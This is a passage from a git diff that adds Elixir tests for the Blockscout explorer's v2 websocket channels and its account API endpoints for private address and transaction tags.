+ end + end + + test "user is able to join to common channels" do + common_channels = ["new_block", "indexing", "indexing_internal_transactions"] + + Enum.each(common_channels, fn channel -> + assert {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join("blocks:#{channel}") + end) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/exchange_rate_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/exchange_rate_channel_test.exs new file mode 100644 index 000000000000..bb4df6801ecd --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/exchange_rate_channel_test.exs @@ -0,0 +1,102 @@ +defmodule BlockScoutWeb.V2.ExchangeRateChannelTest do + use BlockScoutWeb.ChannelCase + + import Mox + + alias BlockScoutWeb.Notifier + alias Explorer.Market.Fetcher.{Coin, History} + alias Explorer.Market.{MarketHistory, Token} + alias Explorer.Market.Source.OneCoinSource + alias Explorer.Market + + setup :verify_on_exit! + + setup do + # Use TestSource mock and ets table for this test set + coin_fetcher_configuration = Application.get_env(:explorer, Coin) + market_configuration = Application.get_env(:explorer, Market) + Application.put_env(:explorer, Market, native_coin_source: OneCoinSource) + Application.put_env(:explorer, Coin, enabled: true, store: :ets) + + Coin.init([]) + + token = %Token{ + available_supply: Decimal.new(10_000_000), + total_supply: Decimal.new(10_000_000_000), + btc_value: Decimal.new(1), + last_updated: Timex.now(), + market_cap: Decimal.new(10_000_000), + tvl: Decimal.new(100_500_000), + name: "", + symbol: Explorer.coin(), + fiat_value: Decimal.new(1), + volume_24h: Decimal.new(1), + image_url: nil + } + + on_exit(fn -> + Application.put_env(:explorer, Coin, coin_fetcher_configuration) + Application.put_env(:explorer, Market, market_configuration) + end) + + {:ok, %{token: token}} + end + + describe "new_rate" do + test "subscribed user is notified", %{token: token} do + Coin.handle_info({nil, {{:ok, token}, false}}, %{}) + Supervisor.terminate_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) + Supervisor.restart_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) + + topic = "exchange_rate:new_rate" + @endpoint.subscribe(topic) + + Notifier.handle_event({:chain_event, :exchange_rate}) + + receive do + %Phoenix.Socket.Broadcast{topic: ^topic, event: "new_rate", payload: payload} -> + assert payload.exchange_rate == token.fiat_value + assert payload.chart_data == [] + after + :timer.seconds(5) -> + assert false, "Expected message received nothing." + end + end + + test "subscribed user is notified with market history", %{token: token} do + Coin.handle_info({nil, {{:ok, token}, false}}, %{}) + Supervisor.terminate_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) + Supervisor.restart_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) + + today = Date.utc_today() + + old_records = + for i <- 1..29 do + %{ + date: Timex.shift(today, days: i * -1), + closing_price: Decimal.new(1) + } + end + + records = [%{date: today, closing_price: token.fiat_value} | old_records] + + MarketHistory.bulk_insert(records) + + Market.fetch_recent_history() + + topic = "exchange_rate:new_rate" + @endpoint.subscribe(topic) + + Notifier.handle_event({:chain_event, :exchange_rate}) + + receive do + %Phoenix.Socket.Broadcast{topic: ^topic, event: "new_rate", payload: payload} -> + assert payload.exchange_rate == token.fiat_value + assert payload.chart_data == records + after + :timer.seconds(5) -> + assert false, "Expected message received nothing." + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/reward_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/reward_channel_test.exs new file mode 100644 index 000000000000..41709a8c6af4 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/reward_channel_test.exs @@ -0,0 +1,57 @@ +defmodule BlockScoutWeb.V2.RewardChannelTest do + use BlockScoutWeb.ChannelCase, async: false + + alias BlockScoutWeb.Notifier + + describe "user subscribed to rewards" do + test "does nothing if the configuration is turned off" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + + address = insert(:address) + block = insert(:block) + reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) + + topic = "rewards:#{address.hash}" + @endpoint.subscribe(topic) + + Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) + + refute_receive _, :timer.seconds(2) + + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + end + + test "notified of new reward for matching address" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) + address = insert(:address) + block = insert(:block) + reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) + + topic = "rewards:#{address.hash}" + @endpoint.subscribe(topic) + + Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) + + assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "new_reward", payload: _}, :timer.seconds(5) + + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + end + + test "not notified of new reward for other address" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) + + address = insert(:address) + block = insert(:block) + reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) + + topic = "rewards:0x0" + @endpoint.subscribe(topic) + + Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) + + refute_receive _, :timer.seconds(2) + + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/transaction_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/transaction_channel_test.exs new file mode 100644 index 000000000000..c1c7c428d6d8 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/transaction_channel_test.exs @@ -0,0 +1,46 @@ +defmodule BlockScoutWeb.V2.TransactionChannelTest do + use BlockScoutWeb.ChannelCase + + alias BlockScoutWeb.Notifier + + test "subscribed user is notified of new_transaction topic" do + topic = "transactions:new_transaction" + @endpoint.subscribe(topic) + + transaction = + :transaction + |> insert() + |> with_block() + + Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) + + receive do + %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: %{transaction: _transaction} = payload} -> + assert payload.transaction == 1 + after + :timer.seconds(5) -> + assert false, "Expected message received nothing." + end + end + + test "subscribed user is notified of new_pending_transaction topic" do + topic = "transactions:new_pending_transaction" + @endpoint.subscribe(topic) + + pending = insert(:transaction) + + Notifier.handle_event({:chain_event, :transactions, :realtime, [pending]}) + + receive do + %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "pending_transaction", + payload: %{pending_transaction: _transaction} = payload + } -> + assert payload.pending_transaction == 1 + after + :timer.seconds(5) -> + assert false, "Expected message received nothing." + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/websocket_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/websocket_test.exs new file mode 100644 index 000000000000..6b974d7d994e --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/websocket_test.exs @@ -0,0 +1,403 @@ +defmodule BlockScoutWeb.V2.WebsocketTest do + use BlockScoutWeb.ChannelCase, async: false + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.{Address, Import, Token, TokenTransfer, Transaction} + alias Explorer.Repo + + @first_topic_hex_string "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + @second_topic_hex_string "0x000000000000000000000000e8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + @third_topic_hex_string "0x000000000000000000000000515c09c5bba1ed566b02a5b0599ec5d5d0aee73d" + + describe "websocket v2" do + {:ok, first_topic} = Explorer.Chain.Hash.Full.cast(@first_topic_hex_string) + {:ok, second_topic} = Explorer.Chain.Hash.Full.cast(@second_topic_hex_string) + {:ok, third_topic} = Explorer.Chain.Hash.Full.cast(@third_topic_hex_string) + + @import_data %{ + blocks: %{ + params: [ + %{ + consensus: true, + difficulty: 340_282_366_920_938_463_463_374_607_431_768_211_454, + gas_limit: 6_946_336, + gas_used: 50450, + hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + miner_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + nonce: 0, + number: 37, + parent_hash: "0xc37bbad7057945d1bf128c1ff009fb1ad632110bf6a000aac025a80f7766b66e", + size: 719, + timestamp: Timex.parse!("2017-12-15T21:06:30.000000Z", "{ISO:Extended:Z}"), + total_difficulty: 12_590_447_576_074_723_148_144_860_474_975_121_280_509 + } + ], + timeout: 5 + }, + broadcast: :realtime, + logs: %{ + params: [ + %{ + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: nil, + index: 0, + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + }, + %{ + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: nil, + index: 1, + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + }, + %{ + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + data: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: nil, + index: 2, + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + } + ], + timeout: 5 + }, + transactions: %{ + params: [ + %{ + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + block_number: 37, + block_timestamp: Timex.parse!("2017-12-15T21:06:30.000000Z", "{ISO:Extended:Z}"), + cumulative_gas_used: 50450, + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + gas: 4_700_000, + gas_price: 100_000_000_000, + gas_used: 50450, + hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", + index: 0, + input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + nonce: 4, + public_key: + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + r: 0xA7F8F45CCE375BB7AF8750416E1B03E0473F93C256DA2285D1134FC97A700E01, + s: 0x1F87A076F13824F4BE8963E3DFFD7300DAE64D5F23C9A062AF0C6EAD347C135F, + standard_v: 1, + status: :ok, + to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + v: 0xBE, + value: 0 + }, + %{ + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + block_number: 37, + block_timestamp: Timex.parse!("2017-12-15T21:06:30.000000Z", "{ISO:Extended:Z}"), + cumulative_gas_used: 50450, + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + gas: 4_700_000, + gas_price: 100_000_000_000, + gas_used: 50450, + hash: "0x00bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e1", + index: 1, + input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + nonce: 5, + public_key: + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + r: 0xA7F8F45CCE375BB7AF8750416E1B03E0473F93C256DA2285D1134FC97A700E09, + s: 0x1F87A076F13824F4BE8963E3DFFD7300DAE64D5F23C9A062AF0C6EAD347C1354, + standard_v: 1, + status: :ok, + to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + v: 0xBE, + value: 0 + }, + %{ + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + gas: 4_700_000, + gas_price: 100_000_000_000, + hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e0", + input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + nonce: 6, + public_key: + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + r: 0xA7F8F45CCE375BB7AF8750416E1B03E0473F93C256DA2285D1134FC97A700E09, + s: 0x1F87A076F13824F4BE8963E3DFFD7300DAE64D5F23C9A062AF0C6EAD347C1354, + standard_v: 1, + to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + v: 0xBE, + value: 0 + }, + %{ + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + gas: 4_700_000, + gas_price: 100_000_000_000, + hash: "0x00bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd43312", + input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + nonce: 7, + public_key: + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + r: 0xA7F8F45CCE375BB7AF8750416E1B03E0473F93C256DA2285D1134FC97A700E09, + s: 0x1F87A076F13824F4BE8963E3DFFD7300DAE64D5F23C9A062AF0C6EAD347C1354, + standard_v: 1, + to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + v: 0xBE, + value: 0 + } + ], + timeout: 5 + }, + addresses: %{ + params: [ + %{hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}, + %{hash: "0x00f38d4764929064f2d4d3a56520a76ab3df4151"}, + %{hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca"}, + %{hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d"} + ], + timeout: 5 + }, + tokens: %{ + on_conflict: :nothing, + params: [ + %{ + contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + type: "ERC-20" + }, + %{ + contract_address_hash: "0x00f38d4764929064f2d4d3a56520a76ab3df4151", + type: "ERC-20" + } + ], + timeout: 5 + }, + token_transfers: %{ + params: [ + %{ + amount: Decimal.new(1_000_000_000_000_000_000), + block_number: 37, + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + log_index: 0, + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + to_address_hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + token_type: "ERC-20", + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + }, + %{ + amount: Decimal.new(1_000_000_000_000_000_000), + block_number: 37, + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + log_index: 1, + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + to_address_hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + token_type: "ERC-20", + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + }, + %{ + amount: Decimal.new(1_000_000_000_000_000_000), + block_number: 37, + block_hash: "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + log_index: 2, + from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + to_address_hash: "0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d", + token_contract_address_hash: "0x00f38d4764929064f2d4d3a56520a76ab3df4151", + token_type: "ERC-20", + transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + } + ], + timeout: 5 + } + } + + test "broadcasted several transactions in one message" do + topic = "transactions:new_transaction" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + topic_pending = "transactions:new_pending_transaction" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic_pending) + + Subscriber.to(:transactions, :realtime) + Import.all(@import_data) + assert_receive {:chain_event, :transactions, :realtime, transactions}, :timer.seconds(5) + + Notifier.handle_event({:chain_event, :transactions, :realtime, transactions}) + + assert_receive %Phoenix.Socket.Message{ + payload: %{transaction: 2}, + event: "transaction", + topic: ^topic + }, + :timer.seconds(5) + + assert_receive %Phoenix.Socket.Message{ + payload: %{pending_transaction: 2}, + event: "pending_transaction", + topic: ^topic_pending + }, + :timer.seconds(5) + end + + test "broadcast token transfers" do + topic_token = "tokens:0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic_token) + + Subscriber.to(:token_transfers, :realtime) + + Import.all(@import_data) + + assert_receive {:chain_event, :token_transfers, :realtime, token_transfers}, :timer.seconds(5) + + Notifier.handle_event({:chain_event, :token_transfers, :realtime, token_transfers}) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_transfer: 2}, + event: "token_transfer", + topic: ^topic_token + }, + :timer.seconds(5) + end + + test "broadcast array of transactions to address" do + topic = "addresses:0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + Subscriber.to(:transactions, :realtime) + Import.all(@import_data) + + assert_receive {:chain_event, :transactions, :realtime, transactions}, :timer.seconds(5) + Notifier.handle_event({:chain_event, :transactions, :realtime, transactions}) + + assert_receive %Phoenix.Socket.Message{ + payload: %{transactions: [transaction_1, transaction_2]}, + event: "transaction", + topic: ^topic + }, + :timer.seconds(5) + + transaction_1 = transaction_1 |> Jason.encode!() |> Jason.decode!() + compare_item(Repo.get_by(Transaction, %{hash: transaction_1["hash"]}), transaction_1) + + transaction_2 = transaction_2 |> Jason.encode!() |> Jason.decode!() + compare_item(Repo.get_by(Transaction, %{hash: transaction_2["hash"]}), transaction_2) + + assert_receive %Phoenix.Socket.Message{ + payload: %{transactions: [transaction_1, transaction_2]}, + event: "pending_transaction", + topic: ^topic + }, + :timer.seconds(5) + + transaction_1 = transaction_1 |> Jason.encode!() |> Jason.decode!() + compare_item(Repo.get_by(Transaction, %{hash: transaction_1["hash"]}), transaction_1) + + transaction_2 = transaction_2 |> Jason.encode!() |> Jason.decode!() + compare_item(Repo.get_by(Transaction, %{hash: transaction_2["hash"]}), transaction_2) + end + + test "broadcast array of transfers to address" do + topic = "addresses:0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + topic_1 = "addresses:0x515c09c5bba1ed566b02a5b0599ec5d5d0aee73d" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic_1) + + Subscriber.to(:token_transfers, :realtime) + Import.all(@import_data) + + assert_receive {:chain_event, :token_transfers, :realtime, token_transfers}, :timer.seconds(5) + Notifier.handle_event({:chain_event, :token_transfers, :realtime, token_transfers}) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_transfers: [_, _, _] = transfers}, + event: "token_transfer", + topic: ^topic + }, + :timer.seconds(5) + + token_transfers + |> Enum.zip(transfers) + |> Enum.each(fn {transfer, json} -> compare_item(transfer, json |> Jason.encode!() |> Jason.decode!()) end) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_transfers: [_, _, _] = transfers}, + event: "token_transfer", + topic: ^topic_1 + }, + :timer.seconds(5) + + token_transfers + |> Enum.zip(transfers) + |> Enum.each(fn {transfer, json} -> compare_item(transfer, json |> Jason.encode!() |> Jason.decode!()) end) + end + end + + defp compare_item(%TokenTransfer{} = token_transfer, json) do + assert Address.checksum(token_transfer.from_address_hash) == json["from"]["hash"] + assert Address.checksum(token_transfer.to_address_hash) == json["to"]["hash"] + assert to_string(token_transfer.transaction_hash) == json["transaction_hash"] + assert json["timestamp"] != nil + assert json["method"] != nil + assert to_string(token_transfer.block_hash) == json["block_hash"] + assert token_transfer.log_index == json["log_index"] + assert check_total(Repo.preload(token_transfer, [{:token, :contract_address}]).token, json["total"], token_transfer) + end + + defp compare_item(%Transaction{} = transaction, json) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + end + + # with the current implementation no transfers should come with list in totals + defp check_total(%Token{type: nft}, json, _token_transfer) when nft in ["ERC-721", "ERC-1155"] and is_list(json) do + false + end + + defp check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-1155"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) and + json["value"] == to_string(token_transfer.amount) + end + + defp check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-721"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) + end + + defp check_total(_, _, _), do: true +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/account/api/v2/user_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/account/api/v2/user_controller_test.exs new file mode 100644 index 000000000000..25b1861470e1 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/account/api/v2/user_controller_test.exs @@ -0,0 +1,1121 @@ +defmodule BlockScoutWeb.Account.Api.V2.UserControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Account.{ + Identity, + TagAddress, + TagTransaction, + WatchlistAddress + } + + alias Explorer.Chain.Address + alias Explorer.Repo + + setup %{conn: conn} do + auth = build(:auth) + + {:ok, user} = Identity.find_or_create(auth) + + {:ok, user: user, conn: Plug.Test.init_test_session(conn, current_user: user)} + end + + describe "Test account/api/account/v2/user" do + test "get user info", %{conn: conn, user: user} do + result_conn = + conn + |> get("/api/account/v2/user/info") + |> doc(description: "Get info about user") + + assert json_response(result_conn, 200) == %{ + "nickname" => user.nickname, + "name" => user.name, + "email" => user.email, + "avatar" => user.avatar, + "address_hash" => user.address_hash + } + end + + test "post private address tag", %{conn: conn} do + tag_address_response = + conn + |> post("/api/account/v2/user/tags/address", %{ + "address_hash" => "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b", + "name" => "MyName" + }) + |> doc(description: "Add private address tag") + |> json_response(200) + + conn + |> get("/api/account/v2/tags/address/0x3e9ac8f16c92bc4f093357933b5befbf1e16987b") + |> doc(description: "Get tags for address") + |> json_response(200) + + assert tag_address_response["address_hash"] == "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" + assert tag_address_response["name"] == "MyName" + assert tag_address_response["id"] + end + + test "can't insert private address tags more than limit", %{conn: conn, user: user} do + old_env = Application.get_env(:explorer, Explorer.Account) + + new_env = + old_env + |> Keyword.replace(:private_tags_limit, 5) + |> Keyword.replace(:watchlist_addresses_limit, 5) + + Application.put_env(:explorer, Explorer.Account, new_env) + + for _ <- 0..3 do + build(:tag_address_db, user: user) |> Repo.account_repo().insert() + end + + assert conn + |> post("/api/account/v2/user/tags/address", build(:tag_address)) + |> json_response(200) + + assert conn + |> post("/api/account/v2/user/tags/address", build(:tag_address)) + |> json_response(422) + + Application.put_env(:explorer, Explorer.Account, old_env) + end + + test "check address tags pagination", %{conn: conn, user: user} do + tags_address = + for _ <- 0..50 do + build(:tag_address_db, user: user) |> Repo.account_repo().insert!() + end + + assert response = + conn + |> get("/api/account/v2/user/tags/address") + |> json_response(200) + + response_1 = + conn + |> get("/api/account/v2/user/tags/address", response["next_page_params"]) + |> json_response(200) + + check_paginated_response(response, response_1, tags_address) + end + + test "edit private address tag", %{conn: conn} do + address_tag = build(:tag_address) + + tag_address_response = + conn + |> post("/api/account/v2/user/tags/address", address_tag) + |> json_response(200) + + _response = + conn + |> get("/api/account/v2/user/tags/address") + |> json_response(200) + |> Map.get("items") == [tag_address_response] + + assert tag_address_response["address_hash"] == address_tag["address_hash"] + assert tag_address_response["name"] == address_tag["name"] + assert tag_address_response["id"] + + new_address_tag = build(:tag_address) + + new_tag_address_response = + conn + |> put("/api/account/v2/user/tags/address/#{tag_address_response["id"]}", new_address_tag) + |> doc(description: "Edit private address tag") + |> json_response(200) + + assert new_tag_address_response["address_hash"] == new_address_tag["address_hash"] + assert new_tag_address_response["name"] == new_address_tag["name"] + assert new_tag_address_response["id"] == tag_address_response["id"] + end + + test "get address tags after inserting one private tags", %{conn: conn} do + addresses = Enum.map(0..2, fn _x -> to_string(build(:address).hash) end) + names = Enum.map(0..2, fn x -> "name#{x}" end) + zipped = Enum.zip(addresses, names) + + created = + Enum.map(zipped, fn {addr, name} -> + id = + (conn + |> post("/api/account/v2/user/tags/address", %{ + "address_hash" => addr, + "name" => name + }) + |> json_response(200))["id"] + + {addr, %{"display_name" => name, "label" => name, "address_hash" => addr}, + %{ + "address_hash" => addr, + "id" => id, + "name" => name, + "address" => %{ + "hash" => Address.checksum(addr), + "proxy_type" => nil, + "implementations" => [], + "is_contract" => false, + "is_verified" => false, + "name" => nil, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "ens_domain_name" => nil, + "metadata" => nil + } + }} + end) + + assert Enum.all?(created, fn {addr, map_tag, map} -> + response = + conn + |> get("/api/account/v2/tags/address/#{addr}") + |> json_response(200) + + response["personal_tags"] == [map_tag] + end) + + response = + conn + |> get("/api/account/v2/user/tags/address") + |> doc(description: "Get private addresses tags") + |> json_response(200) + |> Map.get("items") + + assert Enum.all?(created, fn {_, _, map} -> + Enum.any?(response, fn item -> + addresses_json_match?(map, item) + end) + end) + end + + test "delete address tag", %{conn: conn} do + addresses = Enum.map(0..2, fn _x -> to_string(build(:address).hash) end) + names = Enum.map(0..2, fn x -> "name#{x}" end) + zipped = Enum.zip(addresses, names) + + created = + Enum.map(zipped, fn {addr, name} -> + id = + (conn + |> post("/api/account/v2/user/tags/address", %{ + "address_hash" => addr, + "name" => name + }) + |> json_response(200))["id"] + + {addr, %{"display_name" => name, "label" => name, "address_hash" => addr}, + %{ + "address_hash" => addr, + "id" => id, + "name" => name, + "address" => %{ + "hash" => Address.checksum(addr), + "proxy_type" => nil, + "implementations" => [], + "is_contract" => false, + "is_verified" => false, + "name" => nil, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "ens_domain_name" => nil, + "metadata" => nil + } + }} + end) + + assert Enum.all?(created, fn {addr, map_tag, map} -> + response = + conn + |> get("/api/account/v2/tags/address/#{addr}") + |> json_response(200) + + response["personal_tags"] == [map_tag] + end) + + response = + conn + |> get("/api/account/v2/user/tags/address") + |> json_response(200) + |> Map.get("items") + + assert Enum.all?(created, fn {_, _, map} -> + Enum.any?(response, fn item -> + addresses_json_match?(map, item) + end) + end) + + {_, _, %{"id" => id}} = Enum.at(created, 0) + + assert conn + |> delete("/api/account/v2/user/tags/address/#{id}") + |> doc("Delete private address tag") + |> json_response(200) == %{"message" => "OK"} + + assert Enum.all?(Enum.drop(created, 1), fn {_, _, %{"id" => id}} -> + conn + |> delete("/api/account/v2/user/tags/address/#{id}") + |> json_response(200) == %{"message" => "OK"} + end) + + assert conn + |> get("/api/account/v2/user/tags/address") + |> json_response(200) + |> Map.get("items") == [] + + assert Enum.all?(created, fn {addr, _, _} -> + response = + conn + |> get("/api/account/v2/tags/address/#{addr}") + |> json_response(200) + + response["personal_tags"] == [] + end) + end + + test "post private transaction tag", %{conn: conn} do + transaction_hash_non_existing = to_string(build(:transaction).hash) + transaction_hash = to_string(insert(:transaction).hash) + + assert conn + |> post("/api/account/v2/user/tags/transaction", %{ + "transaction_hash" => transaction_hash_non_existing, + "name" => "MyName" + }) + |> doc(description: "Error on try to create private transaction tag for transaction does not exist") + |> json_response(422) == %{"errors" => %{"transaction_hash" => ["Transaction does not exist"]}} + + tag_transaction_response = + conn + |> post("/api/account/v2/user/tags/transaction", %{ + "transaction_hash" => transaction_hash, + "name" => "MyName" + }) + |> doc(description: "Create private transaction tag") + |> json_response(200) + + conn + |> get("/api/account/v2/tags/transaction/#{transaction_hash}") + |> doc(description: "Get tags for transaction") + |> json_response(200) + + assert tag_transaction_response["transaction_hash"] == transaction_hash + assert tag_transaction_response["name"] == "MyName" + assert tag_transaction_response["id"] + end + + test "can't insert private transaction tags more than limit", %{conn: conn, user: user} do + old_env = Application.get_env(:explorer, Explorer.Account) + + new_env = + old_env + |> Keyword.replace(:private_tags_limit, 5) + |> Keyword.replace(:watchlist_addresses_limit, 5) + + Application.put_env(:explorer, Explorer.Account, new_env) + + for _ <- 0..3 do + build(:tag_transaction_db, user: user) |> Repo.account_repo().insert() + end + + assert conn + |> post("/api/account/v2/user/tags/transaction", build(:tag_transaction)) + |> json_response(200) + + assert conn + |> post("/api/account/v2/user/tags/transaction", 